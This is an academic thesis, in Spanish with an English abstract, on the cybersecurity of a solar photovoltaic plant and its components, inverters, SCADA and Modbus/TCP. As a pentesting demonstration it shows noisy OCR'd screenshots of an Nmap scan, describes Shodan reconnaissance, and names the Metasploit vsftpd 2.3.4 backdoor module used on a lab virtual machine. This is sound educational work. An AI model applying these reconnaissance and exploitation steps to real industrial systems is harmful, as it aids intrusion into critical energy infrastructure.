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RESUMEN DEL PROYECTO

Este TFG lleva a cabo una labor de investigacion exhaustiva de los elementos més plausibles
de sufrir ciber ataques en una planta solar fotovoltaica. Ademas, demuestra mediante tres
practicas, lo sencillo que puede llegar a ser encontrar vulnerabilidades y aprovecharlas. Por
ultimo, propone modelos y soluciones para mejorar la ciberseguridad de la planta solar.

Palabras clave: Ciberseguridad, Planta solar, Energia renovable.

1. Introduccion

Este proyecto se basa en el analisis de la ciberseguridad de una planta de generacién
solar fotovoltaica.

La red eléctrica es un elemento de maxima importancia para el correcto funcionamiento
de un pais. Sabiendo pues su importancia, nos encontramos ante una infraestructura que
ha de ser protegida en todos sus puntos ante posibles ataques externos. Con la ampliacién
y descentralizacion de las energias y la creciente introduccion de dispositivos inteligentes
conectados a Internet en el sistema, se estd derivando hacia un panorama en el que el
riesgo de sufrir ciberataques es cada vez mayor.

Se ha escogido una planta solar dado que las energias renovables estan en proceso de
expansién y son necesarias para proporcionar un futuro préspero a las generaciones
venideras. La importancia de la energia solar ha sido identificada por grandes potencias
mundiales como China o India y jugard un papel muy importante en las proximas
décadas. Espafia tiene el clima indicado para la proliferacion de este tipo de plantas de
generacion de energia y ha de ser capaz de adaptarse a las nuevas tendencias tecnoldgicas
de forma ciber-segura.

2. Definicion del Proyecto

Se presenta la arquitectura de una planta solar fotovoltaica, analizando tanto los
componentes eléctricos como los principales protocolos de comunicaciones que se
utilizan. Entre ellos se incluyen: inversores solares, cajas de corriente continua,
servidores SCADA, el protocolo Modbus/TCP, etc. Es muy importante conocer el
funcionamiento interno de estos elementos y los protocolos mas utilizados para
posteriormente, ser capaces de implementar las medidas de ciberseguridad necesarias de
forma eficaz.

Mas adelante, se tratan los criterios de ciberseguridad y robustez en su totalidad. Se
comienza comprendiendo las diferencias entre el entorno IT y el entorno OT, que
coexisten en una planta de generacion, ademas de aportar soluciones de ciberseguridad
en ambos. A modo de conclusion se proponen tanto guias generales de organismos



internacionales para la ciberseguridad de plantas industriales como modelos de
referencia estructural para la seguridad de la red de comunicaciones.

El esquema de trabajo seguido ha sido el siguiente.
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Figura 1: Esquema de Trabajo

Descripcion del modelo/sistema/herramienta

A lo largo del proyecto se han utilizado tres (3) herramientas distintas con el fin de
demostrar como un hacker puede obtener informacidn sensible en un entorno industrial
y utilizarla a su favor.

Se puede comprender la utilizacion de estas herramientas como parte de una buena
practica de ciberseguridad conocida como “pentesting”. Este proceso consiste en atacar
de forma controlada y autorizada diferentes entornos o elementos con el objetivo de
detectar y prevenir posibles fallos. Asi se es capaz de solucionarlos antes de que puedan
suponer una vulnerabilidad.

La primera herramienta se llama “Nmap”, un software de cddigo abierto muy utilizado
para realizar auditorias de seguridad dentro de una red. En concreto se ha utilizado la
version de Windows que tiene un sencillo interfaz grafico. Su funcion principal es
conocer con detalle todo lo que esta ocurriendo dentro de una red a la que se tiene acceso.
Monitorizar unared es necesario dado que permite conocer lo que esta pasando en tiempo
real, qué dispositivos estan conectados, qué IPs y puertos se estan utilizando y cualquier
otra informacion importante para mantener la seguridad de la red.
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| Escaneo Herramientas  Perfil  Ayuda (H)
|
Objetivo: | 192.162.200.1 | Perfil: | Intense scan, all TCP ports | [Escaneo [Cancelar

Comando: |nmap -p 1-65335 -T4 - A -v 192.168.200.1

Servicios Salida Nmap Puertos / Servidores Topolegia Detalles del servidor  Escaneos

05 4 Servidor ~  [=79z21ee200.1;
U 192.168.200.1 = Estado del servidor
Estado: up
Puertos abiertos: 1 lj
Puertos filtrados: 2

Puertos cerrados: 65532
Puertos escaneados: 65533

Tiempo activo: No disponible N |

Ultima inicializacién: No disponible

= Direcciones
IPwd:  192.168.200.1
IPvé:  No disponible
MAC:  20:AB:4S:EE:C1:60

=l Sistema operativo

Nombre: OSRAM Lightify ZigBee gateway

=l Puertos usados
Puerto-Protocolo-Estado: 502 - tep - open

Puerto-Protocelo-Estado: 1 - tep - closed

Puerto-Protocolo-Estado: 39780 - udp - closed

=l Clases de 0S
Tipo Fabricante FamiliaOS Generacion 05 Precision
specialized OSRAM  embedded

+ Comentarios

Filtrar servidores

Figura 2: Informacion obtenida con Nmap

En segundo lugar, se ha utilizado “Shodan Search Engine”, un buscador web que tiene
como objetivo ubicar todo tipo de objetivos que estan conectados a internet. Una vez
localizado un dispositivo, puede mostrarnos los servicios abiertos e incluso posibles

vulnerabilidades presentes.

€ 2 @ shodanio

Search Engine for the

Internet of Everything

Figura 3: Pantalla de inicio de Shodan

La ventaja principal de Shodan es que lleva a cabo una busqueda silenciosa, ajena al
usuario que esta siendo atacado ya que busca en una base de datos como si fuera Google,

no se conecta directamente a la red de la victima

La Gltima herramienta utilizada es Metaesploit, una aplicacién muy popular para realizar
tests de penetracion y sistemas de deteccion de intrusos. Metaesploit nos permite ejecutar
distintos exploits para ver como acttan. Esta herramienta la utilizamos en Kali Linux,



una distribucion basada en Debian GNU/Linux disefiada principalmente para la auditoria
y seguridad informatica.

File Actions Edit View Help
g+ -

Metasploit

sploit v6.1.39-dev

exploits - 1171 auxiliary - 396 post
-=[ 616 payloads - 45 encoders - 11 nops
-=[ 9 evasion

Metasploit tip: Save the current environment with the
command, future console restarts will use this

Matching Modules

# Name Disclosure Date Rank Check Description

© exploit/unix/ftp/MSFEpd_234_backdoor 2011-07-03 t No VSFTPD v2.3.4 Backdoor Command
Execution

nteract with a module by name or index. For example 5 [SWuse exploit/unix/ftp/vsftpd_234_backdoo
I

environment again
msf6 > search vsFTPd 2.3.4
-

sf6 > []

Figura 4: Exploit a utilizar en Metaesploit

Se va a intentar acceder a una maquina virtual que tienen vulnerabilidades previamente
identificadas utilizando Metaesploit. En este caso, se lograra gracias a una vulnerabilidad
no parcheada, acceder por una puerta trasera sin necesidad de identificacion.

Resultados y Conclusiones

La realizacion de las practicas de ciberseguridad demuestra como gracias a Internet, con
las herramientas adecuadas y unos conocimientos basicos se puede obtener y aprovechar
informacién sensible de distintos sistemas y dispositivos. Este hecho aumenta las
preocupaciones acerca de lo que puede ser capaz de hacer un hacker con conocimientos
y practicas avanzadas en algun punto la red eléctrica.

La conclusion principal que se obtiene tras la realizacion de este proyecto nos lleva a
afirmar que lograr un entorno completamente ciberseguro en el mundo moderno
hiperconectado en el que nos encontramos es imposible. La cadena de la ciberseguridad
tiene demasiados eslabones y con que uno se rompa el sistema puede venirse abajo. Aln
asi, es indispensable seguir un modelo o una guia de buenas préacticas para ser capaz de
detectar las brechas y solventarlas con rapidez. Por otro lado, se deduce que la mayoria
de los ataques provienen de fallos humanos y de ahi la necesaria labor de formacion en
ciberseguridad que se ha de realizar en los entornos industriales en los proximos afios.

La dependencia de los paises de las energias renovables para proporcionar un futuro
prospero a las nuevas generaciones solo aumentara de la mano de los intereses de los
hackers en atacar este tipo de infraestructuras. Por ello, se subraya la importancia de
adaptar estas platas renovables a un modelo ciberseguro y fiable.


https://es.wikipedia.org/wiki/Debian_GNU/Linux
https://es.wikipedia.org/wiki/Seguridad_inform%C3%A1tica

ANALYSIS OF CYBERSECURITY CRITERIA AT A RENEWABLE

GENERATION PLANT

Author: Lazaro Trasobares, Luis.

Supervisor: Dominguez Adan, Emilio Manuel.

Collaborating Entity: ICAI — Universidad Pontificia Comillas

ABSTRACT

This TFG carries out an exhaustive investigation of the most sensitive elements to suffer
cyber-attacks in a photovoltaic solar plant. It also demonstrates, through three practical
exercises, how easy it can be to find vulnerabilities and exploit them. Finally, it proposes
models and solutions to improve the cybersecurity of the solar plant.
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1. Introduction

This project is based on the analysis of the cybersecurity of a solar photovoltaic
generation plant.

The electricity grid is an element of the utmost importance for the correct functioning of
a country. Knowing its importance, we are faced with an infrastructure that must be
protected at all points against possible external attacks. With the expansion and
decentralization of energy and the increasing introduction of internet-connected smart
devices into the system, the risk of cyber-attacks is growing.

A solar plant has been chosen as renewable energies are in the process of expansion and
are necessary to provide a prosperous future for generations to come. The importance of
solar energy has been identified by major world powers such as China and India and will
play a very important role in the coming decades. Spain has the right climate for the
proliferation of this type of energy generation plants and must be able to adapt to new
technological trends in a cyber-safe way.

2. Project Definition

First, the architecture of a solar PV plant is presented. Analyzing both the electrical
components and the communications protocols used. These include solar inverters, string
box, SCADA servers, the Modbus/TCP protocol, etc. It is very important to know the
inner workings of these elements and protocols in order to be able to implement the
necessary cybersecurity measures effectively.

Later, the cybersecurity and robustness criteria are discussed. It starts by understanding
the differences between the IT environment and the OT environment, which coexist in a
power plant. In addition to providing cybersecurity solutions in both. Proposing both
general guidelines from international organizations for the cybersecurity of industrial
plants and structural reference models for network security.

The working outline was as follows.
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Figure 1: Work scheme

3. Description of the model/system/toll

Throughout the project, 3 different tools have been used to demonstrate how a hacker
can obtain sensitive information from an industrial environment and use it to his
advantage.

The use of these tools can be understood as part of a good cybersecurity practice known
as pentesting. This process consists of attacking different environments or elements in a
controlled and authorized manner with the aim of detecting and preventing possible
failures. In this way, it is possible to fix them before they become a vulnerability.

The first tool is called "Nmap", an open-source software widely used to perform security
audits within a network. Specifically, the Windows version has been used, which has a
simple graphical interface. Its main function is to know in detail everything that is
happening within a network to which you have access. Monitoring a network is
necessary because it allows you to know what is happening in real time, what devices
are connected, what IPs and ports are being used and other important information to
maintain the security of the network.



- () *

| Escaneo Herramientas  Perfil  Ayuda (H)

|
Objetivo: | 192.168.200.1 ~ | Perfil: | Intense scan, all TCP ports ~ Escaneo Cancelar

Comando: |nmap -p 1-65335 -T4 - A -v 192.168.200.1

Servicios Salida Nmap Puertos / Servidores Topolegia Detalles del servidor  Escaneos

05 4 Servidor ~  [=79z21ee200.1;
U 192.168.200.1 = Estado del servidor
Estado: up
Puertos abiertos: 1 lj
Puertos filtrados: 2

Puertos cerrados: 65532
Puertos escaneados: 65533

Tiempo activo: No disponible N |

Uttima inicializacién: Mo disponible
=l Direcciones

1Pvd:  192.168.200.1

IPvE:  No disponible

MAC:  20:AB:4%:EE:C1:60

=l Sistema operativo
Nombre: OSRAM Lightify ZigBee gateway

=l Puertos usados
Puerto-Protocolo-Estado: 502 - tep - open

Puerto-Protocelo-Estado: 1 - tep - closed
Puerto-Protocolo-Estado: 39780 - udp - closed

=l Clases de OS
Tipo Fabricante Familia 05 Generacion 05 Precisién

specialized OSRAM  embedded

+ Comentarios

Filtrar servidores

Figure 2: Results obtained with Nmap

Secondly, "Shodan Search Engine™ has been used, a web search engine that aims to locate
all types of targets that are connected to the internet. Once a device has been located, it can

show us the open services and even possible vulnerabilities.

& C & shodan.io

Search Engine for the

Internet of Everything

Figure 3: Shodan main browser

The main advantage of Shodan is that it performs a silent search, oblivious to the user
being attacked as it searches a database like Google, not connecting directly to the

victim's network.

The last tool used is Metaesploit, a very popular application for penetration testing and
intrusion detection systems. Metaesploit allows us to run different exploits to see how



they work. We use this tool on Kali Linux, a Debian GNU/Linux-based distribution
designed primarily for computer security and auditing.

File Actions Edit View Help
p:23:4 -

s xiliary - 396 post
616 payloads - 45 encoders - 11 nops
9 evasion

Metasploit tip: Save the current environment with the
command, future console restarts will use this

Matching Modules

# Name Disclosure Date Rank Check Description
© exploit/unix/ftp/MSFEpd_234_backdoor 2011-07-03 No VSFTPD v2.3.4 Backdoor Command
Execution

Interact with a module by name or index. For example ' r ploi i p ‘tpd_234_backdoo
=

H

msf6 > []

Me 0 |
environment again
msf6 > search vsFTPd 2.3.4
-]

Figure 4: Metasploit screen capture

An attempt will be made to access a virtual machine that has previously identified
vulnerabilities using Metaesploit. In this case, an unpatched vulnerability will be used to
gain access through a backdoor without the need for identification.

Results & Conclusions

The completion of the cybersecurity practices demonstrates how using the Internet, with
the right tools and basic knowledge, sensitive information can be obtained and exploited
from different systems and devices. This fact raises concerns about what a hacker with
advanced knowledge and practices might be able to do at some point in the power grid.

The main conclusion to be drawn from the completion of this project is that achieving a
fully cyber-secure environment in the modern hyper-connected world in which we find
ourselves is impossible. The cyber security chain has too many links and if one link
breaks, the system collapses. Even so, it is essential to follow a model or best practice
guide to be able to detect breaches and address them quickly. On the other hand, most
attacks come from human error, hence the need for cybersecurity training in industrial
environments in the coming years.

The dependence of countries on renewable energies to provide a prosperous future for
new generations will only increase with the interest of hackers in attacking this type of
infrastructure. It therefore underlines the importance of adapting these renewables to a
cyber-secure and reliable model.
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Capitulo 1. INTRODUCCION

1.1 CIBERSEGURIDAD Y SU ESTADO ACTUAL

La ciberseguridad engloba el conjunto de medidas y operaciones que se aplican a un equipo
0 una red para protegerlos frente posibles ataques externos, intentos de robo de informacion

o control del dispositivo.

El ser humano, a lo largo de la historia siempre ha tratado de proteger sus bienes de forma
efectiva. La seguridad es la ausencia de riesgo, y por ello la ciberseguridad es la disciplina

encargada de evaluar, estudiar y gestionar los riesgos asociados al mundo digital.

En los ultimos afios, con la transformacion digital que ha sufrido el mundo moderno, el
namero de ciberataques ha aumentado exponencialmente suponiendo pérdidas millonarias
para muchas empresas. El desarrollo de la ciberseguridad ha sido muy lento en comparacion
al desarrollo tecnoldgico. La tecnologia buscaba avanzar a cualquier coste, es decir, al
inventar o desarrollar un producto lo importante era su correcto funcionamiento, pero nadie
se paraba a pensar si al mismo tiempo se estaba protegiendo el producto contra ataques
externos. Por ello, hoy en dia las carencias en el sector de la ciberseguridad son abismales y
hay una evidente falta de formacion en los trabajadores. Afortunadamente la industria se ha
percatado de ello, la ciberseguridad es un sector en auge que experimentara fuertes
inversiones en las proximas décadas. Desafortunadamente todavia nos encontramos muy
lejos de la situacion optima y de ahi la importancia de analizar el contexto de la

ciberseguridad en distintos sectores claves de la sociedad.
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1.2 IMPORTANCIA DE LA CIBERSEGURIDAD EN EL SECTOR

ELECTRICO

Un reto clave al que se va a enfrentar el ser humano en las proximas décadas es el desarrollo
de un modelo energético sostenible, seguro y eficaz. El sol es una fuente de energia que
siempre va a estar a nuestra disposicion y a la que sacamos un partido infimo en comparacion
a su potencial. Con la ampliacién y descentralizacion de las energias que constituyen el
sistema de aprovisionamiento y con la creciente introduccion de dispositivos inteligentes en
el sistema se esta derivando hacia un escenario en el que el riesgo de sufrir ciberataques es

cada vez mayor.

La red eléctrica es uno de los sistemas méas complejos desarrollado por el ser humano y es
un elemento de maxima importancia para el correcto funcionamiento de un pais. Sabiendo
pues su importancia, nos encontramos ante una infraestructura que ha de ser protegida ante

posibles ataques externos.

Cada vez son mas los incentivos para instalar plantas de produccion de energia renovable
dentro de la red eléctrica y nos encontramos en un punto de transicion hacia el futuro. Espafa
entre muchos otros paises de la Union Europea se encuentra en un punto de rapida
ampliacion del nimero de plantas fotovoltaicas para hacer frente al aumento de la demanda
energética y ser capaz de proveer esta energia de forma renovable. EI mayor ejemplo de
implantacion de plantas solares es China, lider mundial en energia solar, un pais que hace
afios supo identificar la importancia de esta tecnologia y comprender que de cara al futuro
iba a ser clave. Algunos ejemplos de plantas solares a gran escala son el Parque Solar del
Desierto de Tengger con una capacidad de 1.547 MW que se conecto a la red en 2016. Otras
potencias emergentes cdmo la India también han sido capaces de identificar el papel capital
que jugaran este tipo de energias y en marzo de 2020 finalizd la construccion de Bhadla
Solar Park con una capacidad de 2.245 MW. Para entender la magnitud de estas
construcciones hemos de entender que por ejemplo la planta solar de Totana en Murcia tiene

una potencia autorizada de 85MW.
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Figura 1:Bhadla Solar Park (https://www.flickr.com/photos/cifaction/43943012564)

1.3 MOTIVACION

Es una realidad que el ritmo de consumo de recursos que de la sociedad moderna es
insostenible a largo plazo con el modelo energético actual. Las plantas de produccién de
energia tradicional han de ser sustituidas poco a poco por plantas renovables y en Espafia el

potencial de la energia fotovoltaica es esperanzador.

La integracion de la red de plantas de energia solar fotovoltaica a gran escala representa
muchos desafios que afectan a la estabilidad, confiabilidad y calidad de la energia del sistema
debido a la naturaleza intermitente de la radiacion solar y a los problemas de acceso fisico a

los lugares donde la mayoria de las plantas de energia fotovoltaica estan ubicadas.

Garantizar el funcionamiento confiable y seguro de las redes eléctricas es fundamental para
la economia y la seguridad nacional de cualquier pais. Durante las ultimas décadas hemos

creado una dependencia absoluta a la electricidad para poder desarrollar nuestra vida de
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forma normal. Més alla, del funcionamiento de todos los aparatos eléctricos, Internet
depende de esta energia, un apagon global que dejara algln territorio sin conexion seria un
absoluto desastre econdmico y social. A medida que aumenta la cantidad de energia solar en
lared, esta energia se convertird en una parte integral del sistema y proporcionara resistencia
adicional al suministro de electricidad porque las instalaciones solares estan dispersas, lo

que las hace mas resistentes a interrupciones generalizadas.

Sin embargo, los desafios de la ciberseguridad se complican por la gran cantidad de
propietarios y operadores involucrados en la energia solar. Cuanto mas abarque la
infraestructura del sistema, mas vulnerabilidades pueden aparecer. Las plantas solares deben
ser mas conscientes y ciberseguras, con capacidad para prevenir, identificar, detectar,
responder y recuperarse de los ciberataques. También es fundamental concienciar a los
operadores de sistemas solares sobre los estandares de ciberseguridad y las mejores practicas
para la gestion de riesgos. Este aspecto se tratara también en este trabajo ya que muchas
veces el factor humano es el méas peligroso. En resumen, si las plantas no son ciberseguras,

no son fiables y la fiabilidad es un elemento clave en la ingenieria.

La motivacion de este TFG es realizar un trabajo de investigacion que logre analizar la

situacion y colaborar a un futuro mejor.

La ingenieria siempre ha buscado solucionar problemas de forma practica y eficaz. En la
sociedad moderna la ingenieria tiene un papel determinante analizando soluciones
tecnoldgicas a los retos de la sociedad. Como ingeniero tengo una grave preocupacion por
el futuro de nuestro planeta y las energias renovables pueden ser una gran oportunidad para
el ser humano. De ahi mi concienciacion con la necesidad de proteger las plantas solares

fotovoltaicas para su correcto funcionamiento.

10
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1.4 ALINEACION CON LOS OBJETIVOS DE DESARROLLO
SOSTENIBLE (ODS)

Los objetivos de desarrollo sostenible (ODS) establecidos por las naciones Unidas en la
Agenda 2030 creada en 2015 buscan prosperidad compartida en un mundo sostenible: un
mundo en el que todas las personas puedan llevar una vida productiva, vibrante y pacifica

en un planeta Sano.

Al tratar la ciberseguridad de una planta solar de produccion de energia renovable, este TFG

se alinea de forma directa con varios ODS.

E1 ODS ntimero 3 es “Garantizar una vida sana y promover el bienestar de todos a todas las
edades”. Ha quedado ampliamente demostrado por infinidad de estudios en los Ultimos afios
que la contaminacion afecta gravemente a la salud general de todos los seres humanos. Con
la implantacion de plantas renovables se produce una transicion hacia un futuro donde los
combustibles fésiles juegan un papel minoritario y la contaminacion del aire se ve reducida.
Para que esta transicion sea efectiva las plantas han de ser fiables y ciberseguras. De ahi la
importancia de la ciberseguridad en este tipo de centros de produccion para garantizar una

vida mas saludable.

Este razonamiento se alinea ademas con el ODS numero 13 “Adoptar medidas urgentes para

combatir el cambio climéatico y sus efectos”.

El ODS ntimero 7 propone “Garantizar el acceso a una energia asequible, fiable, sostenible
y moderna para todos”. Cuando se comenz6 a introducir la energia solar uno de sus mayores
problemas era su elevado coste. Por eso varios paises como Alemania incorporaron tarifas
para bonificar a los consumidores si implantaban placas solares. Afortunadamente, hoy en
dia la energia solar es mucho mas barata y asequible para todo el mundo. Respecto a la
fiabilidad exigida por este objetivo de desarrollo sostenible, es ahi donde la ciberseguridad
es capital. Las plantas de produccion han de ser seguras y capaces de resistir los incesantes

ataques de los hackers para hacer que estas dejen de funcionar.

11
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Por ultimo, el ODS nimero 12 esta relacionado con la produccién y consumo responsables
y busca “Garantizar modalidades de consumo y produccion sostenibles”. La huella material
esta creciendo descontroladamente y los recursos del planeta son limitados, de ahi la
importancia de controlar el consumo de estos y limitar en la mayor medida de lo posible su
utilizacion. El sol es un bien ilimitado que nos proporciona constantemente energia, el uso
de la energia solar es una solucién perfecta para no consumir los recursos de nuestro planeta.
Fomentar la introduccién de plantas fotovoltaicas para aportar energia al sistema es una

forma préctica y eficaz de arreglar el problema de la huella material.

1.5 OBJETIVOS DEL PROYECTO

1. Analizar los riesgos existentes asociados a los ciberataques en plantas fotovoltaicas. Se
busca comprender y evaluar el riesgo de distintos ciberataques que pueden sufrir las plantas
de generacidn de energia fotovoltaicas. Por otro lado, también se analizaran las medidas que
existen actualmente para mitigarlos llevando a cabo un estudio sobre su fiabilidad y coémo

mejorar la infraestructura para prevenir irrupciones externas en el sistema.

2. Estudio de la arquitectura de una planta solar fotovoltaica desde el punto de vista de los
sistemas de control y gestion remota, comunicaciones utilizadas y los aspectos principales

referidos a su ciber-riesgo.

3. Anlisis de herramientas y técnicas de hacking utilizados contra plantas de generacion de
energia solar fotovoltaica, incluyéndose las instalaciones tanto grandes como pequefias. Para
comprender un problema en su totalidad hay que analizarlo desde perspectivas distintas. En
este caso se analizara la situacién desde el punto de vista de un hacker cuyo objetivo es

obtener informacion sensible sobre la infraestructura.

4. Recopilacion de normativas y hojas de ruta para la implantacion de ciberseguridad en este
tipo de instalaciones. Analisis de la situacion actual y los requerimientos que establece
Espafia para el correcto funcionamiento de una planta de generacion de energia renovable

de forma cibersegura.

12
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Capitulo 2. ARQUITECTURAY ELEMENTOS DE UNA

PLANTA SOLAR FOTOVOLTAICA

2.1 ELEMENTOS QUE COMPONEN UNA PLANTA SOLAR

FOTOVOLTAICA

2.1.1 EFECTO FOTOELECTRICO, FOTOVOLTAICO Y CELULAS SOLARES

La energia solar fotovoltaica basa su funcionamiento en el efecto fotoeléctrico. El efecto
fotoeléctrico consiste en la emision de electrones por un material al incidir sobre €l una

radiacion electromagnética (luz visible o ultravioleta).

Gracias al efecto fotoeléctrico podemos conseguir el efecto fotovoltaico, que consiste en la
transformacion parcial de la radiacion electromagnética del sol en energia eléctrica. Esto
ocurre cuando los fotones provenientes del sol impactan en unos dispositivos electrénicos
Ilamados células fotovoltaicas. Una cierta porcion de estos fotones es absorbida por el
material semiconductor y otra parte sale rebotada, con esto, la energia absorbida se transfiere
al semiconductor, esta energia hace que los electrones se puedan separar de los atomos y

fluir libremente.

Las células fotovoltaicas tienen uno o mas campos eléctricos cuya funcién principal es
obligar a los electrones, liberados por la absorcion de la energia luminica, a fluir en una
direccion determinada, este flujo de electrones produce una corriente y al colocar contactos
de metal en la parte superior e inferior de la célula, podemos extraer esta corriente continua

(CC) para un uso externo.
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Las células fotovoltaicas estan constituidas por materiales semiconductores, basicamente
silicio enriquecido, complementado con fésforo y boro. Las capas de silicio y el fésforo
suministran una carga negativa (semiconductor tipo N) y la de boro aporta la carga positiva

(semiconductor tipo P).

Luz solar

Semiconductor tipo N Electrodo negativo

Semiconductor tipo P

d 4 &4 228 &
FE S

Electrodo positivo

Seccion de una celda solar

—_—

Corriente

Figura 2: Efecto fotoeléctrico en una célula solar (https://www.inntecsol.mx/instalaciones-electricas/)

2.1.2 PANELES Y MESAS SOLARES

Las células solares se interconectan en serie o en paralelo formando un médulo fotovoltaico,
que tiene como objetivo para cumplir con los requisitos de tensidn y corriente establecidos

en el disefio.

A su vez varios modulos se ensamblan en una estructura sencilla que permita su manejo,
conexionado y transporte, son los paneles solares fotovoltaicos. Por Gltimo, en las plantas de
generacion, maltiples paneles solares forman un “string” que se monta encima de lo que se
denominan mesas solares, que generalmente tienen sistemas de seguimiento solar para

mejorar el rendimiento.
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_

Mddulo solar
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L Contador de electricidad
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Caja de fusibles
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%,
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":Controlador de carga

‘;‘Medidor de generaciéﬁ' y,
" Aislador de CC
‘ . Cableado

-, Montaje

- Sistema de seguimiento '

Figura 3: Célula, médulo y panel solar (Wikipedia)

Figura 4: Mesas solares

Los paneles solares, suelen tener una potencia unitaria pico entre 325 Wp y 550 Wp. La
tecnologia utilizada en plantas de generacion fotovoltaica puede ser monocristalina o

15
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policristalina. Hoy en dia, se han introducido también las placas fotovoltaicas bifaciales

que se caracteriza por ser sensible a la luz por ambas caras.

Los modulos monocristalinos poseen los indices de eficiencia altos y funcionan mejor que
los policristalinos en condiciones de baja radiacion solar. Se elaboran a partir de bloques de
silicio enteros, lo que hace més costosa su fabricacion. Sin embargo, su vida util es mas

larga. Se distinguen por su color negro.

Los policristalinos se caracterizan porque su estructura cristalina no es uniforme en toda su
extension, siendo menos eficientes que los monocristalinos y se requiere una mayor cantidad

de ellos para lograr la misma potencia. Son de color azul.

Figura 5: Panel con médulos monocristalinos de 550WP (https://www.amazon.es)

2.1.3 SEGUIDORES SOLARES

Los seguidores solares son mecanismos de orientacion de los paneles solares que permiten

aumentar el rendimiento de éstos segun la posicion del sol.

En funcion del eje y sus ajustes respecto al sol, los seguidores solares se pueden clasificar
en seguidores solares en un eje (horizontal, polar o azimutal) y seguidores solares de dos

ejes (siempre perpendiculares al sol). Por razones econdmicas y de disminucion de su
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complejidad, la tendencia actual es montar seguidores en un eje de giro en direccion Norte-
Sur con movimiento de giro en direccién Este-Oeste para seguir el movimiento diario del

sol.

\ rzlmutyné/

Figura 6: Orientacion panel solar

Se estima que la instalacion de seguidores solares mejora el rendimiento hasta un 20% - 30%

en algunos casos de alta incidencia de luz solar.

Hay varios tipos de seguidores segun los paneles han de moverse durante el dia o solamente

al cambiar de estacion.

2.1.4 CAJAS DE CORRIENTE CONTINUA

Las cajas de nivel o “stringbox” son gabinetes metalicos preparados y protegidos para su
instalacion en el exterior (proteccion minima IP54). Combinan las cadenas o “strings” de
paneles solares y envian por un solo cable de CC toda la energia producida por estas a un
inversor de CC/CA. La finalidad de las cajas de corriente continua es la reduccion de

pérdidas y disminucion de costes en el cableado de CC.

Van equipadas ademas con diferentes tipos de protecciones eléctricas (seccionador en carga

bipolar y fusibles, para tension de hasta 1.500 V en corriente continua).

2.1.5 INVERSORES DE CORRIENTE

Los inversores son los elementos encargados de cambiar el voltaje de entrada de corriente

continua proveniente de las mesas a un voltaje de salida de corriente alterna con la magnitud
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y frecuencia necesaria para conectarse a los transformadores internos de las estaciones de

transformacion.

Figura 7: Isla de inversores de CC a CA

Los inversores disponen de microprocesadores que les permite controlar y almacenar gran
cantidad de datos. Tanto parametros eléctricos (tension, intensidad, frecuencia, potencia,
armonicos, rizados de intensidad, etc.) como parametros externos (radiacion, temperatura

exterior, seguidores solares, etc.) e internos (temperaturas de trabajo, protecciones, etc.).

Existen diferentes configuraciones para la interconexién de los strings con los inversores:
Inversores centrales, cadena de inversores o inversores en string y, por ultimo, cadena
multiple o multiple string. La seleccion de una u otra alternativa se basa en el tipo de planta,

el coste y la fiabilidad deseada.

En la configuracién de inversores centralizados (figura 8), todos los paneles fotovoltaicos
estan conectados a un inversor central de alta potencia. Son equipos grandes que en la
mayoria de los casos precisan de una base sélida sobre la que asentarse, se utilizan en las
grandes plantas de generacion fotovoltaica.
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En este tipo de configuracion, las mesas solares se agrupan en matrices. Cada matriz
fotovoltaica consta de muchas cadenas conectadas en paralelo y cada cadena consta de

muchos paneles fotovoltaicos conectados en serie.

Inversor CC/AC
- Otras Matrices

Figura 8: Configuracion de inversores centralizados

En este tipo de configuracién es imprescindible utilizar cajas de corriente continua ya que
las entradas al inversor estan preparadas para conectar intensidades muy altas, lo que implica
cables mas gruesos. Por un lado, esto facilita la instalacion, pero el inversor no es capaz de

saber lo que pasa a nivel de cadena, sélo lo ve a nivel de caja de nivel.

En la configuracion de cadena (figura 9), cada cadena estad conectada directamente al
inversor. Esto permite que el inversor pueda monitorizar cada uno de los “strings”
conectados a él. Ademas, este tipo de inversores llevan incorporados el algoritmo de
funcionamiento conocido como MPPT (Maximum Power Point Tracker o seguidores del

punto de maxima potencia), lo que posibilita optimizar la produccion a nivel de cadena.

Esto es muy util en instalaciones donde las mesas tienen diferente orientacion, inclinacion o
sombras. Esto suele ocurrir en plantas comerciales orientadas a autoconsumo industrial o en

grandes instalaciones de generacion solar (250 MW o0 maés).
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Inversores CC/AC

Figura 9: Configuracién de cadena de inversores

En el caso de una configuracion de cadenas multiples (figura 10), las cadenas estan
conectadas a un conversor de CC/CC y cada grupo de conversion CC/CC esta conectado un
Inversor CC/CA.

Inversor CC/AC

Conversores CC/CC

Figura 10: Configuracion de cadenas multiples
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2.1.6 CENTRO DE TRANSFORMACION

En las plantas de generacion de energia fotovoltaica el centro de transformacion de media
tension se encuentra integrado con el inversor, en lo que se denomina estacion de potencia.
Su mision es elevar la tension de salida de los inversores para minimizar las pérdidas, antes
de enviar la energia generada por la instalacion fotovoltaica al centro de seccionamiento y
posteriormente a la linea de media tension (11, 22, 30 KV) que permite la interconexién con

las redes de transporte de energia eléctrica.

También se incluye equipamiento de proteccidén, monitorizacién y control y panel de
conexiones eléctricas entre los diferentes elementos. En la figura 11 se ven los diferentes

elementos de una estacion de potencia (Panel auxiliar, Bateria, Transformador, Inversor)

Figura 11: Estacion de potencia (https://www.power-electronics.co.nz)

En la siguiente tabla se ven las caracteristicas del controlador de la estacion de potencia,
cabe destacar la capacidad de comunicaciones mediante una conexion Ethernet con
conectividad Modbus TCP/IP
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MODO DE INSTALACION OUTDOOR
CONTROL DE VOLTAIE POI

CONTROL Y LIMITACION DE POTENCIAACTIVAY
REACTIVA

RAMPA

CONTROLADOR PPC
ADICIONALES ANALIZADOR DE POTENCIA

REGLETA TERMINALES INTERCONEXION
INTERFACE CONEXION ETHERNET RJ45
COMUNICACIONES MODBUS TCP/IP (ETHERNET)

FUNCIONALIDADES

Tabla 1: Caracteristicas del controlador de la estacion de potencia

2.1.7 SISTEMAS DE CONTROL Y MONITORIZACION

Estos sistemas permiten recopilar los datos de funcionamiento de la planta solar fotovoltaica
y enviar las drdenes necesarias para asegurar su correcto funcionamiento, consiguiendo

aumentar su rendimiento, reducir los costes de mantenimiento y prolongar su vida util.

Para ello, cada planta solar fotovoltaica cuenta con un sistema local de control SCADA
(Supervisory Control And Data Acquisition), el cual se describira en el siguiente capitulo
con mas detalle. Este sistema informatico recibe informacién del estado de toda la planta de
forma continuada, se obtienen datos de: inversores, estaciones meteoroldgicas, sensores de

radiacion, seguidores solares y equipos auxiliares inteligentes.
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SCADA Remoto

a[Ir-

Equipo de
Monitorizacién

Operador
de Red
IEC 60870

Figura 12: Sistemas de monitorizacién y SCADA local y remoto

Estos datos se envian a través de diferentes medios y redes de comunicaciones locales.

